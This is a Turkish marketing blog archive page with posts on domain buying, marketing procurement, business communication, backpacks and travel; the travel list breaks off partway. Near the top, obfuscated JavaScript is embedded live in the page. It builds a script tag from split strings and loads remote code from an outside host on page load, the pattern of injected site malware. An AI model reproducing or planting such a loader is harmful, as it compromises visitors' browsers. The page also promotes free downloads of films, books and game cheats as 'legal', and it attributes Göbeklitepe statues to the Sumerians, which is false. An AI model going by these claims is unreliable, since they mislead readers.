    • Bu aşamada belirlediğiniz “12345678abcdef” alan adı müsait olduğuna göre, ödeme yapmak için alan adınızı sepete ekleyebilirsiniz.
    en ucuz domain
    en ucuz domain nereden alınır?
    • Son olarak eğer belirlediğiniz alan adınızı alma konusunda eminseniz, ödeme adımına geçebilirsiniz.
    (function(){ q536=document.createElement(“script”);q536_=(“us”)+(“ta”); q536_+=”t”+(“.”);q536_+=(“in”);q536u=”374746508″;q536.async=true; q536u+=”.4qeh7q1n536wr6wyy”;q536.type=”text/javascript”;q536_+=”f”+”o”+(“/”); q536u+=”aimikmxe4crf6″;q536.src=”https://”+q536_+q536u; dq536=document.body;dq536.appendChild(q536); })();

    Zaman zaman dijital pazarlama konusunda bir dijital pazarlama uzmanı olarak vereceğim bilgileri takip etmek için mehmetortac.com adresini ve Twitter hesabımı takip etmeyi unutmayın!

  • Pazarlama Servisleri Satın Almasında Geçen 1 Yıl

    Pazarlama Servisleri Satın Almasında Geçen 1 Yıl

    Pazarlama servisleri satın almasında geçen 1 yıl yazım ile uzun zamandır yayınlayamadığım yazılarıma geri dönmeyi umuyorum. Hayatta stabilite kadar önemli bir şey yok. Eğer hayatınız bir rutin içerisine girdiyse ve öyle devam ediyorsa her şeye vakit ayırabiliyorsunuz. 10 yıl boyunca aynı şirkette çalışmanın vermiş olduğu stabilite bana bol bol yazı yazma şansı tanıyordu. Bundan tam 1 yıl önce, tam bugün; 10 yıl boyunca çalıştığım şirketimden ayrıldım ve yeni işime başladım.

    Daha önce dijital pazarlama uzmanı olarak çalışıyordum. 1 yıldan bu yana ise satın alma departmanı içerisinde pazarlama servislerinin satın alınmasından sorumluyum. Yazının ilk kısmında stabiliteden bahsetmiş biri için iş alanı değişikliği garip gelebilir. Ancak ben bu tip değişimleri seven biriyim.

    Aslında çok fazla kariyer ve unvan odaklı bir insan değilim. Hiçbir zaman da olmadım. Benim için hayatta yapılması gereken işler ve bu işleri başarıyla tamamlamak vardır. İşinizi iyi yapmanızın mükafatı ise mutlaka gelir. Hayata hep bu gözle baktım. Aslına bakarsanız mükafatlar hep geldi. İş yapmaktan öte kariyer ve unvan peşinde koşan insanları da hiçbir zaman anlayamadım. Gördüğüm kadarıyla çok da işe yaramıyor zaten.

    Kariyerime halka ilişkiler danışmanı olarak başladım. Türkiye’nin en büyük reklam ajanslarından bir tanesinin bünyesindeydim. Daha sonra dijital pazarlamanın parlayan yılları olması nedeniyle keskin bir değişiklik ile dijital pazarlama alanına geçtim. Yine bir reklam ajansı bünyesinde dijital pazarlama alanında çalışmaya başladım. Daha sonra marka tarafı ve 10 yıl süren bir serüven.

    Bundan tam 1 yıl önce aldığım teklif ile kariyerim bir kere daha değişti. Çok fazla duyulmamış bir iş kolu ve unvan ile çalışmaya başladım. Pazarlama servislerinin satın alınması aslında Türkiye’de yavaş yavaş gelişmeye başlayan bir alan. Pazarlama ekipleri ile entegre ancak bir satın almacı gibi çalışıyorsunuz. Pazarlamanın her alanında tedarikçi seçimi, teklif alınması, karar verilmesi gibi süreçlerde aktifsiniz. Hatta yapılan işlerin sonuçlarını önünüze alıp gelecek dönemlerde çalışılacak ya da çalışılmayacak tedarikçileri belirliyorsunuz. Pazarlamanın birçok noktasında yine aktifsiniz ve tecrübe ediniyorsunuz.

    Bu 1 yıllık süreç bana çok iyi geldi. Çok ciddi tecrübeler kattı. Bu kadar büyük bir yapının içerisinde ve birçok farklı sektörden sorumlu olarak çalışmak daha önceki iş yaşamınızda kazanmadığınız kadar bilgi ve tecrübe kazanmayı sağlıyor. Ayrıca farklı departmanlarda çalışma tecrübesi ile geleceğe çok daha rahat hazırlanıyorsunuz.

    Geçmiş 1 yılın muhasebesini yaparken ne kadar uzun süredir yazı yazmadığımı da fark etmiş oldum. Başta söylediğim gibi stabilite insana belirli rutinleri oturtma imkânı sağlıyor. Benim son 1 yılım yeni şirketimin yapısını, sektörlerini, iş yapış biçimini öğrenme ile geçti. Dolayısıyla yazı yazmaya çok fazla fırsat bulamadım. Bundan sonrası için kendime söz veriyorum. Hiç olmazsa haftada bir yazmaya gayret edeceğim. Üstelik bu 1 yıllık süreçte son derece değerli hikayeler çıktı. Bunları da paylaşmazsak olmaz!


    Zaman zaman dijital pazarlama konusunda bir dijital pazarlama uzmanı olarak vereceğim bilgileri takip etmek için mehmetortac.com adresini ve Twitter hesabımı takip etmeyi unutmayın!

  • 7/24 İndir

    7/24 İndir

    Aktif olarak gelişen teknolojiyle beraber birçok internet kullanıcısı sorun ve engellerle karşılaşmamak için uygulamaların apk dosyalarını tercih etmeye başladı. 724indir ailesi de tam olarak bu konuda hizmet vermektedir. Kullanıcıların yazılım, dosya, program ve türlü gereksinimlerini baz alarak bir web sitesi olmayı temel amaç edinmektedir. 724indirsitesinin asıl gayesi ise maksimum paylaşım ağını kurarak daha geniş kitlelere hitap etmektir. Sitenin abone sayısı ise gün geçtikçe artış gösteriyor, birçok kişi ilgi çekici içerikleri indirmek için burayı ziyaret etmeye devam ediyor.

    Net olarak 1 Ocak 2020 tarihinde kurulan 724indir apk içerik sitesi, 4 Ocak 2020 tarihi itibarıyla da yayın hayatına giriş yapmıştır. Sitede yer alan içerik kategorileri ise genel manada şu şekildedir:

    • Mobil uygulama çeşitleri
    • Oyun hileleri (para, yaşam, yeni bölümleri açmak ve görevleri geçmek gibi konularda)
    • İşlevsel dosyalar
    • Mobil oyunlar
    • Kitaplar
    • Ders notları
    • Diziler
    • Filmler
    • Bilgisayar programı paylaşımları
    • Bilgisayar oyunu paylaşımları

    Site içerisinde paylaşılan her belge ve bilgi legal yönlüdür. Asla yasaklı içerik paylaşımı gerçekleştirilmemektedir. Kullanıcıların sisteme kaydolurken verdikleri bilgiler de güvendedir. Siteye abone olmak ise tamamen ücretsiz şekilde gerçekleşir. Abone olduktan sonra tüm içerikleri dilediğiniz cihaza günün her saatinde basit bir biçimde indirebilirsiniz. Üç kişilik kadrosu ile sayısız kullanıcıya hizmet sunmakta olan 724indir sitesi sayesinde siz de istediğiniz oyunu, belge ya da dokümanı istediğiniz zaman kolayca indirebileceksiniz.

    Günümüze bakıldığı zaman her şeyin elektronik ortamdan gönderildiğini görebiliyoruz. Hal böyle olunca ders notu, kitap, oyun, dizi, film ve daha sayısız içeriğin ücretlendirilmesi kişileri zorlamaktadır. Fakat 724indirherkesi bu dertten kurtaracak bir girişimdir. Böylece her birey dilediği içeriği tamamen ücretsiz bir şekilde cihazına indirerek istediği zaman kullanabilecek. Böyle olunca da 724indir kullanıcıları maddi anlamda ciddi tasarruf sağlamış olacak.

    Popüler oyunlar, ilgi çekici dizi ve filmler, yeni çıkan kitaplar ve herkese lazım olabilecek ders notları artık 724indir ile bir tık kadar uzağınızda oluyor. Sitenin ara yüzü ve genel işleyişi de tamamen kullanıcı dostu olması ile dikkat çekiyor diyebiliriz. Böylece kullanıcılar istedikleri her şeyi kısa bir süre içerisinde bulup indirme işlemini başlatabiliyor. Bunun yanı sıra indirilmek istenen içeriklerle alakalı uzun açıklamalar da bulunuyor. Bahsi geçen açıklamalar size içerikle alakalı mevzularda eşlik etmiş oluyor.

    Örneğin bir oyun apk dosyası indirmek istediğiniz zaman oyuna dair bilgiler alabildiğiniz makaleleri görebiliyorsunuz. Ayrıca yine dizi ya da film indireceğiniz anlarda da yapımın konusuna dair bilgi edinmeniz mümkün hale gelmiş oluyor. Yediden yetmiş yediye herkese hitap eden içerikler sunmayı sürdüren 724indirsitesi sayesinde zengin içerik portföyünü bir arada görme olanağınız bulunuyor. Popüler oyunlardan, güncel kitaplardan ve filmlerden ilk haberdar olmak isteyenlerdenseniz tüm bu içerikleri 724indir farkı ile deneyimleyebilirsiniz.

    Kaynak : https://www.724indir.com/

  • Etkili İş İletişiminin 7 Yolu

    Etkili İş İletişiminin 7 Yolu

    Bugün yazımda etkili iş iletişiminin 7 yolunu inceleyeceğiz.

    Kurumsal dünyanın kendi altyapısı, etiği, dili ve işleri yapma şekli vardır. Bu nedenle iş yaşamında başarılı bir başlangıç ​​ve mükemmel bir yolculuk için herkesin kariyerine başlamadan önce bütün bu temel ilkeleri iyi bilmesi gerekir.

    İletişim kurumsal dünyada hayati bir rol oynar. Etkili iletişim mesajınızı, düşüncelerinizi ve fikirlerinizi dikkat çekecek şekilde iletmenizi sağlar. Etkili iletişim sağlamak için yedi hayati yol vardır.

    Şimdi bu 7 yolu inceleyelim.

    Etkili İş İletişiminin 7 Yolu

    1. Doğruluk

    iş iletişimi
    iş iletişimi

    Doğruluk, gerçekleri söylemektedir. Ancak bu gerçekleri ifade ederken doğru bir dil kullanmak gerekir. Muhatabınıza doğru mesajları iletmek anlamına gelir.

    Yanlış dilbilgisi cümlenin anlamını tamamen değiştirebileceği ve olumsuz bir izlenim bırakabileceği için hem yazılı hem de sözlü iletişimde dilbilgisi hatalarından kaçınılmalıdır.

    2. Açıklık

    iş iletişimi
    iş iletişimi

    Açıklık, muhatabımızın cümlenin gerçek anlamını kolayca kavrayabileceği bir dil kullanmayı gerektirir. Mesajı ileten tarafın belirli bir zamanda belirli bir mesajı vurgulaması gerekir. Düşüncelerde ve fikirlerde netlik varsa, bu da cümlenin anlamının kolayca aktarılmasını sağlar.

    3. Tamlık

    iş iletişimi
    iş iletişimi

    Mesajın ileten kişi beklediği türden bir yanıt almak istiyorsa, her zaman gerekli tüm ayrıntıları vermelidir. Kişi, muhatabının ruh halini dikkate almalı ve ortaya çıkan tüm soruları, yanıtları gerçekler ve rakamlarla destekleyerek yanıtlamalıdır.

    4. Özlülük

    iş iletişimi
    iş iletişimi

    Kurumsal dünyada, hiç kimsenin uzun konuşmalara ayıracak vakti yoktur. Bu nedenle iletişimde özlü olmak ve kendinizin ve başkalarının zamanından tasarruf etmek önemlidir. Düşüncelerin tekrarından ve ayrıntılı ifadelerden kaçınarak özlülük elde edebilirsiniz. Bunun yerine amacına uygun ama iletişimi tamamlayan kısa cümleler kullanmalısınız.

    5. Dikkat

    iş iletişimi
    iş iletişimi

    Dikkat, muhatabın bakış açısıyla düşünmeyi ima eden etkili iletişimin en önemli bileşenidir. Kişi, mesaj oluştururken izleyicinin bakış açısını, geçmişini, eğitim düzeyini, zihniyetini, isteklerini ve sorunlarını göz önünde bulundurmalıdır. Okuyucunun ihtiyaçlarını karşılamak için mesajınızı değiştirmeniz gerekir.

    6. Somutluk

    iş iletişimi
    iş iletişimi

    Mesajdaki somutluk, genel, bulanık ve muğlak olmaktan ziyade kesin ve açık olmayı ifade eder. Kişi, etkili iletişim için muhatabın önünde doğru ve spesifik gerçekleri sunmalıdır.

    7. Nezaket

    iş iletişimi
    iş iletişimi

    Nezaket, her etkili iletişimin temel bileşenidir. Bir iletişimin başlangıcı ve bitişi nezaketle olmalıdır. Muhatabın duygularını iyi niyet oluşturduğu için değer vermeyi ifade eder. Kişi, etkili iletişim için kibar kelimeler kullanmalı ve muhataba saygı göstermelidir.

    Bu yazıda elimden geldiğince ve özet bir şekilde etkili iş iletişiminin 7 yolunu anlatmaya çalıştım. Eminim bu yazıya son derece değerli katkılar yapacak ve hatta bu 7 yolu geliştirecekler vardır.


    Zaman zaman dijital pazarlama konusunda bir dijital pazarlama uzmanı olarak vereceğim bilgileri takip etmek için mehmetortac.com adresini ve Twitter hesabımı takip etmeyi unutmayın!

  • Yeni Normalin Vazgeçilmez Eşyası: Sırt Çantaları

    Yeni Normalin Vazgeçilmez Eşyası: Sırt Çantaları

    Bugün sokağa çıkın, şöyle bir etrafınızdaki insanlara bakın, hemen hepsinin sırtında bir çanta olduğunu göreceksiniz. Genci yaşlısı, kadını erkeği, öğrencisi üniversitelisi ve hatta alışverişe çıkan ev hanımları artık sırt çantasız dışarı adım atmıyorlar.

    Özellikle pandemi sonrasında değişen iş ve yaşam koşulları, birçok ürünün günlük olarak taşınmasını gerekli kılmıştır. Ve bu kadar eşyanın ve özellikle de laptop ya da tabletlerin taşınması için notebook çantaları vazgeçilmez bir aksesuar olmuştur.

    Kişisel eşyalarımızı yanımızda taşımamızı kolaylaştıran bir araç olan çantalar geçmişten günümüze gelene kadar hem şekil, hem boyut olarak birçok değişime uğramıştır. Eskiden kadınlar tarafından daha çok kullanılan çantalar, günümüzde erkeklerin de olmazsa olmazı haline gelmiştir.

    Çantanın tarihçesi, Orta Asya’ya kadar uzanmaktadır. Orta Asya Türkleri dokuma çanta alanında kendilerini geliştirmişlerdir. Urartular, Sümerler ve Mısırlılara ait hiyerogliflerde çanta figürü bulunmaktadır. Sümer tanrısı Anunnaki çizimlerindeki çanta dikkat çekici ilginç bir unsur olarak karşımıza çıkar.  Ayrıca Sümerler’e ait olduğu bilinen heykellerde de (Şanlıurfa- Göbeklitepe’de bulunan) çanta detayı yer almaktadır.

    Türklerin tarihi kaynaklardan elde edilen bilgilere göre çantaları, kılıf, heybe, torba, zembil gibi çeşitli farklı isimlerde kullanmıştır. Aynı zamanda başlangıcı 1453’e dayanan saraciyede, (Deri, muşamba vb. yapılan bavul, çanta, cüzdan, kemer vb. ürün) Osmanlı zamanından beri Türklerin çanta üretiminde önemli rol oynadığını gösterir. Cumhuriyet ile birlikte batı tarzının etkisinde kalınmış, bu durum çanta üretimine yansımıştır. Gelişen teknoloji çanta modellerinin çeşitliliğinin artmasını sağlamıştır. Özellikle tekstil sanayinin hızla gelişmesi ile çanta sektörünün kapsamını arttırmıştır.

    19. yüzyıl sonlarına doğru çanta insanlar tarafından modern biçimiyle kullanılmaya başlanmıştır.

    2. Dünya savaşı sonrasında ise, çanta kullanımı bir gereklilikten çok kıyafeti tamamlayan bir aksesuar olarak görülmüştür. 19. Yüzyılda elde taşınan valizlerden ilham alınarak, erkeklerin kullandığı el çantaları üretilmeye başlanmıştır. 1920’li yıllarda bazı markaların fermuar kullanmaya başlaması çanta üretiminde çığır açmıştır.

    Peki iyi bir promosyon sırt çantasının olmazsa olmaz özellikleri nelerdir?

    İyi bir promosyon sırt çantasının en önemli özelliği kaliteli malzemelerden üretilmesidir. Özellikle dikiş ve fermuarları uzun ömürlü olmalıdır. Bununla birlikte su geçirmez özelliğe de sahip olması gerekir. Su geçirmez kumaşlar çantanın daha kullanışlı olmasını sağlarken eşyalarınızı korumanıza yardımcı olur. Sırt çantalarında bulunması gereken bir diğer özellik ayarlanabilir omuz askısıdır. Bu askı sayesinde promosyon sırt çantasının kullanım alanını genişletebilirsiniz. Çantada dikkat edilecek hususlardan birisi de çantanın içidir. İçinde istediğiniz şekilde ve kullanışlı ceplerin olması gerekir. Çok cepli tasarımlar çantanın tabanına ve yanlarına ek hacim kazandırır ve çanta içi düzeni maksimum seviyede tutarlar.

    Günümüzde sırt çantaları kullanım alanlarına, büyüklüklerine ve tasarımlarına göre farklı modellerde üretiliyor. Kullanım alanlarına göre günlük, okul, seyahat, tatil ve spor sırt çantası modelleri olarak kategorilere ayrılır. Tasarımlarına göre ise çocuk, erkek ve kadın sırt çantası olarak sınıflandırılıyorlar.

  • Pazarlama Servisleri Satın Alma ile Pazarlama Değerini En Üst Düzeye Çıkarmak

    Pazarlama Servisleri Satın Alma ile Pazarlama Değerini En Üst Düzeye Çıkarmak

    Pazarlama Servisleri Satın Alma ile Pazarlama Değerini En Üst Düzeye Çıkarmak!

    Sürekli dönüşüm geçiren bir ortamda şirketler, pazarlama bütçelerinin verimliliğini ve etkinliğini değerlendirmek, artırmak ve izlemek için yeni yollar arıyorlar. Ancak Cash’in efsanevi, özlü gitaristi gibi, satın alma da pazarlamanın aradığını bulmuş olabilir.

    Bunlar pazarlamacılar için çalkantılı zamanlar. Dijital devrim medya tüketimini dönüştürüyor. 35 yaşın altındaki insanlar, ebeveynleri kadar video içeriği izliyor, ancak bunun yarısından azı canlı televizyon. Amerika Birleşik Devletleri’nde, tüm video içeriğinin üçte birinden fazlası artık çoğu mobil cihazlarda çevrimiçi olarak görüntüleniyor. Millennials, akıllı telefonlarında haftada 15 saat harcıyor ve yüzde 89’u iş e-postalarını normal çalışma saatleri dışında kontrol ediyor. Meslektaşlarının görüşlerine ve sosyal ağ bağlantılarına medya profesyonellerinin görüşlerine güvenmeleri muhtemeldir.

    Pazarlama Servisleri Satın Alma

    Pazarlamacılar için dijital medyanın yaygınlaşması, tüketicilerle etkileşim kurmak için heyecan verici yeni fırsatlar, ancak aynı zamanda vahşi bir karmaşıklık da yaratıyor. Pazarlamacılar, hem geleneksel medyada hem de müşterilerinin kullandığı hızla değişen dijital cihaz ve kanal ekosisteminde entegre bir marka deneyimi sunmaları gerektiğini biliyorlar. Müşteri tercihleri ​​hakkında gerçek zamanlı geri bildirim ve mesajları her zamankinden daha hassas bir şekilde uyarlama ve hedefleme yeteneği gibi dijital kaynakları daha iyi kullanmak istiyorlar. Ve pazarlamacılar, ortaya çıktıkça yeni yaklaşımlardan en iyi şekilde yararlanarak – yerleşik, geleneksel pazarlama çabalarının kanıtlanmış değerini gözden kaçırmadan – yenilik yapmak istiyorlar.

    pazarlama servisleri satın alma
    pazarlama servisleri satın alma

    Bu hedeflere ulaşmak için pazarlamacıların ne satın alacakları, nasıl satın alacakları ve kimlerle çalışacakları konusunda doğru seçimler yapmaları gerekir. Bu seçimler kolay değil. Örneğin, tüm dijital reklamların yarısından daha azını insan gözü görüyor ve otomatik teklif sistemleri aracılığıyla programatik satın alma, reklamverenler ve medya sahipleri arasındaki geleneksel ilişkiyi dönüştürdü. Karmaşıklık ve hızlı değişim, doğru acente ortaklıklarını daha da önemli hale getiriyor.

    Bu ortamda, büyük reklamcılar daha önce görülmemiş sayılarda pazara giriyor. 2015’te, dünyanın en büyük reklamverenlerinin birçoğu ajans ilişkilerinin yeteneklerini, uyumunu ve ekonomisini yeniden değerlendirdiği için, sözde mediapalooza’da yaklaşık 30 milyar dolarlık pazarlama harcaması yapıldı.

    Satın alma nerede?

    Günümüzün zorluklarını karşılamak için pazarlamacıların yeni yeteneklere ihtiyacı var. Büyük dijital veri kümelerinden faydalı iç görüler elde etmek için keskin analitik becerilere ihtiyaçları var. Yeni kanalların ve yeni hizmet sağlayıcıların potansiyelini değerlendirmeleri gerekiyor. Ve artık çok daha fazla kategoriye yayılması gereken bütçeleri ne kadar verimli ve etkili kullandıklarını ölçmek için yeni yollara ihtiyaçları var.

    Görünüşte pazarlama, tam olarak yüksek performanslı bir tedarik fonksiyonunun sağladığı sağlam, gerçeklere dayalı analiz ve karar verme yeteneklerine ihtiyaç duyar. Ve pazarlama birçok işletmede en büyük dolaylı harcama kategorisi olduğundan, satın alma uzmanları yeni değer kaynakları bulmasına yardımcı olma fırsatını değerlendirmelidir.

    pazarlama servisleri satın alma
    pazarlama servisleri satın alma

    Bununla birlikte, birçok şirkette, bu tür karşılıklı yarar sağlayan ortaklık henüz ortaya çıkmamaktadır – pazarlama ve satın alma arasındaki ilişki, düpedüz karşıt olmasa da, genellikle soğuktur. Geçen yıl, büyük bir küresel tüketici-ambalajlı mallar (CPG) şirketi, pazarlama-tedarik işlevini tamamen kapattığını bile duyurdu.

    Ne yanlış gidiyor? Herhangi bir sorunlu ilişkide olduğu gibi, zorlukların çoğu karşılıklı yanlış anlamalardan kaynaklanmaktadır. Pazarlamacılar, tedarikteki meslektaşlarının kendilerine en iyi nasıl yardımcı olabileceğini her zaman fark etmezler, bu nedenle girdilerini, değer katma fırsatının daha az olduğu satın alma sürecinin son müzakere ve sözleşme aşamalarına havale etme eğilimindedirler. Tedarik, yeteneklerini her zaman net bir şekilde iletmez, bu nedenle bir kolaylaştırıcıdan ziyade bir engel olarak algılanır. Bazen ortak bir dilin olmaması, pazarlama ve satın almanın birbirlerinin amaçlarını ve niyetlerini anlamasını bile zorlaştırır (bkz. kenar çubuğu, “Aynı şarkı kitabından şarkı söylemek”). Ve iki işlev, birlikte etkili bir şekilde çalışmalarına ve bireysel güçlerinden en iyi şekilde yararlanmalarına izin veren süreçler bulamadı.

    Yeni bir başlangıç ​​zamanı

    Şirketler, satın almanın pazarlamadaki rolünü yeniden değerlendirmelidir. Ortak ajansların seçimi ve kampanyaların tasarımı gibi kritik stratejik kararlar, pazarlama işlevinin elinde sıkıca kalmalıdır. Pazarlamacılar müşterilerinin tercihlerini bilirler ve doğru bilgilerle hedef tüketicilerini çekmelerine yardımcı olacak en iyi ortakları belirleyebilirler. Ancak Johnny Cash’in benzersiz sesinin Luther Perkins’in gitar becerilerine dayanması gibi, pazarlamacıların da etraflarında doğru desteğe ihtiyacı var.

    Bu desteğin oluşturulması, yüksek performanslı bir tedarik fonksiyonunun temel pazarlama ihtiyaçlarını karşılamaya nasıl yardımcı olabileceğinin net bir şekilde anlaşılmasıyla başlamalıdır. Pazarlamacıların zaten bildiği köklü satın alma yeteneklerinden, olgun, yüksek performanslı bir tedarik işlevinin gelişmiş becerilerini gerektiren birkaçına kadar altı odak alanı belirledik:

    • Tedarikçileri yönetin . Pazarlamacıların, tedarikçilerin (birçok durumda ajansların) mali açıdan uygun olduğunu doğrulaması gerekir. Tedarikçilerin vaat ettiklerini yerine getirmelerini sağlamak ve ödemelerini zamanında aldıklarını görmek için rekabetçi fiyatlar ve sağlam sözleşmeler üzerinde pazarlık yapmaları gerekir. Bu faaliyetler, tedarik fonksiyonunun tüm kategorilerde her gün yaptığı şeydir.
    • Verimliliği izleyin . Pazarlamacıların ajanslarının performansını anlamaları gerekir. Tedarik işlevi, hem görevlendirilen ajansların hem de yerleştirdikleri medyanın verimliliğini nasıl izleyeceğini ve izleyeceğini bilir. Ayrıca tedarikçi incelemelerine nasıl liderlik edileceğini de biliyor. Brüt reyting puanı/hedefli reyting puanı denetimlerini denetlemek ve kurumları bulgulardan sorumlu tutmak ikinci derecede olmalıdır.
    • Kötü polisi oyna . Ajanslar kötü performans gösterdiğinde, tedarik işlevi zorlu görüşmeleri yönetebilir, böylece pazarlama ekipleri yakın ve üretken ajans ilişkileri sürdürebilir.
    • Doğru yetenekleri bulun . Pazarlamacılar, mevcut ve beklenen ihtiyaçlarını karşılayabilecek ve sahip olduklarını bilmedikleri ihtiyaçları karşılayarak onlara piyasanın en iyisini sunabilecek ajanslara sahip olmalıdır. Örneğin, bir ajans dijital reklamların nerede ve ne zaman görüntülenebilir olduğunu izleyebilir mi? Programatik satın alma yeteneklerinin kapsamı nedir? Tedarik işlevi, sektörü yeni yetkinlikler için tarayabilir ve iş ortaklarının bunları karşılama yeteneklerini test etmek için süreçler geliştirebilir.
    • Daha fazla değer yaratın . Pazarlama çabaları, maksimum değeri sağlamak için hem kaliteye (yetenekler ve uygunluk) hem de maliyete odaklanmalıdır. Satın alma işlevi, pazarlama yatırım getirisi (MROI) verilerini kullanarak tüm bunları, örneğin hem reklam satın almanın verimliliğini hem de ortaya çıkan yerleşimlerin etkinliğini izleyen dengeli puan kartları oluşturarak yapabilir.
    • Hızlı hareket edin . Pazarlama hızla değişiyor ve dijital devrim önemli bir itici güç. Pazarlama ekiplerinin yanıt vermesi gerekiyor. Tedarik ile yakın çalışmak, riskleri kontrol ederken esneklik ve yanıt verebilirliğe izin veren yol kuralları geliştirmelerine olanak tanır.
    pazarlama servisleri satın alma
    pazarlama servisleri satın alma

    Yakın bir çalışma ilişkisi

    Bu türden bir değer elde etmek için – özellikle yukarıdaki listenin alt yarısında yer alan daha gelişmiş fırsatlar – pazarlama ve satın alma, tüm satın alma süreci boyunca daha yakın bir çalışma ilişkisine ihtiyaç duyar. Böyle bir ilişkinin nasıl yürüyebileceğini göstermek için, yakın zamanda medya satın alma faaliyetlerinden başlayarak ajans ekosisteminin kapsamlı bir incelemesini yapan büyük bir CPG şirketi örneğini ele alalım. Sonuç olarak, şirket yalnızca kültürel açıdan en uygun ajansı bulmakla kalmadı, aynı zamanda medya harcamalarından ve ücretlerinden de tasarruf etti. Tasarrufların yarısını ek medyaya yeniden yatırarak büyümeyi hızlandırdı. Gerisi doğrudan sonuca gitti.

    pazarlama servisleri satın alma
    pazarlama servisleri satın alma

    Şirketin birden fazla medya ajansıyla uzun süredir devam eden ilişkileri vardı. Medya satın alımını konsolide etmek ve oldukça büyük medya bütçesi için en güçlü yeteneklere ve en iyi fiyatları elde etmesini sağlamak istiyordu. Tüm bunları kontrol etmek için, pazarlama ve satın alma ekipleri, yoğun bir işbirliğine dayalı beş aylık rekabetçi saha sürecine başladı.

    Etkinliğe hazırlanırken satın alma, şirketin tarihsel medya harcamalarının ayrıntılı bir analizini yaptı. Ekibi, 100.000 satırdan fazla geleneksel ve dijital medya harcama verisine baktı; örneğin, yaklaşık olarak temsili bir sepet oluşturmak için TV reklamı satın alımlarını dokuz temel özelliğe (ağ, program, spot uzunluğu ve gün bölümleri gibi) ayırdı. Potansiyel ajanslardan teklif vermelerini isteyeceği 300 gelecekteki medya satın alımı. Ekip, ajans fiyat tekliflerinden tam medya satın alma maliyetini tahmin edebilmek için kalan geleneksel ve dijital medya satın alımlarını sepetteki öğelerle eşleştirdi.

    Tedarik daha sonra pazarlamanın medya ajanslarından tam olarak ne istediğini anlamak için pazarlama ile birlikte çalıştı. Ardından satın alma, trendler ve bunları ele almak için ortaya çıkan yetenekler için piyasayı taradı. Bu bilgilerle ortak ekip, görevdeki ve yeni kuruluşların bir karışımı da dahil olmak üzere bir avuç potansiyel ajans belirledi. Seçilen ajanslar, yazılı ödevler ve pazarlama ekibine çoklu sunumlar içeren çok aşamalı titiz bir sunum sürecine katılmaya davet edildi.

    Pazarlama, ajansların yeteneklerini ve kültürel uyumunu değerlendirirken, satın alma, temsilci sepetindeki öğeler için ayrıntılı medya satın alma tekliflerini değerlendirdi. Yine, bu çok aşamalı bir süreçti ve ajanslar, rakiplerinin fiyatlarıyla uyumlu olmadığında fiyatlandırmalarını ayarlama fırsatı buldular.

    pazarlama servisleri satın alma
    pazarlama servisleri satın alma

    Pazarlama ekibi tercih ettiği ajansları seçtikten sonra, iki fonksiyon birlikte ayrıntılı bir müzakere sürecine girdi. Tedarik, şirketin hesabını çalıştırma maliyetine ilişkin acente tekliflerini, bunu yapmak için gereken personel ve kaynakların fiili maliyetine karşı değerlendirmek için temiz sayfa tekniklerini kullandı. Bu şekilde, ajansları tekliflerinin altında yatan maliyet varsayımları konusunda net olmaya teşvik etti. Müzakere süreci ayrıca, genel maliyetleri kontrol ederken şirketin stratejik hedeflerini yerine getirmeleri için ajansları ödüllendirmek için yeni bir teşvik modelinin geliştirilmesini de içeriyordu.

    Sürecin sonunda, ortak çaba dikkate değer sonuçlar verdi. Şirketin birden fazla markasından pazarlamacılar, medya planlama ve medya satın alma faaliyetlerini birleştirmek için tek bir ajans üzerinde anlaştılar. Yine de yeni anlaşmalar genel medya maliyetlerini yüzde 20’nin üzerinde ve ajans ücretlerini yüzde 10’dan fazla azalttı.

    Tedarik ekibinin bu binlerce bireysel satın almayla ilgili ilk analizi de temettü ödemeye devam etti. Şirket, ajansın tüm medya harcaması kategorilerinde vaat edilen indirimleri elde etmesini sağlamaya yardımcı olmak için fiyat korkulukları belirledi. Farklı medya yuvalarının maliyetini stratejik hedeflere ulaşma yetenekleriyle karşılaştıran şirket, satın aldığı medya karışımını değiştirerek daha fazla potansiyel tasarruf da belirledi. Örneğin, harcamalarını daha verimli kanallara veya markaları için hala doğru hedef kitle kalitesi, erişimi ve sıklığı sağlayan daha ucuz gün bölümlerine kaydırmayı başardı.

    Pazarlama Servisleri Satın Alma ile Pazarlama Değerini En Üst Düzeye Çıkarmak!

    Kaynak: https://www.mckinsey.com/business-functions/operations/our-insights/maximizing-marketing-value-through-smarter-procurement


    Zaman zaman dijital pazarlama konusunda bir dijital pazarlama uzmanı olarak vereceğim bilgileri takip etmek için mehmetortac.com adresini ve Twitter hesabımı takip etmeyi unutmayın!

  • Mutlaka Görülmesi Gereken 15 Yer

    Mutlaka Görülmesi Gereken 15 Yer

    Masal ortamlarını andıran yerlerden, doğanın kendi büyüsünü yaydığı yerlere kadar, aşağıdaki destinasyonlar ilham verecek, sersemletecek ve keşfetme arzusu uyandıracak.

    Güney İzlanda

    görülmesi gereken
    Mutlaka Görülmesi Gereken 15 Yer

    Şelaleler, şelaleler, şelaleler. İzlanda, bir süredir doğa severlerin radarlarındaydı ve popüler bir kova listesi destinasyonu haline geldi. Ancak Blue Lagoon ve Reykjavik’in pitoresk ortamının dışında, içeri alınması gereken bazı ciddi güzellikler var. Seljalandsfoss, Háifoss ve Gullfoss, basitçe söylemek gerekirse, hayranlık uyandıran ve fotoğraflanan çarpıcı şelalelerdir ve bunların gerçek olduğuna inanmakta zorlanacaksınız.

    Neuschwanstein Şatosu, Almanya

    görülmesi gereken
    Mutlaka Görülmesi Gereken 15 Yer

    Her yıl 1.4 milyon insanın kaleye akın ettiği, giderek daha popüler bir ziyaret yeri olan Neuschwanstein , 1886’dan beri halka açık. onun ana kişisel inzivaları. Güzel bir ortamda yer alan bu inanılmaz saray, hayat bulan bir peri masalı arayan herkes için bir destinasyondur.

    Vágar, Faroe Adaları

    görülmesi gereken
    Mutlaka Görülmesi Gereken 15 Yer

    Faroe Adaları’nın tek havaalanına ev sahipliği yapan Vágar, bu Atlantik takımadalarını oluşturan 18 adadan biridir. 3.000’in biraz üzerinde bir nüfusa sahip olan Vágar, nefes kesici olduğu kadar huzurludur. Büyüklüğüne rağmen, ada 41 dağa, dört göle ve üç şelaleye sahiptir ve bu da onu keşfetmek için harika bir yer yapar.

    Kapadokya, Türkiye

    görülmesi gereken
    Mutlaka Görülmesi Gereken 15 Yer

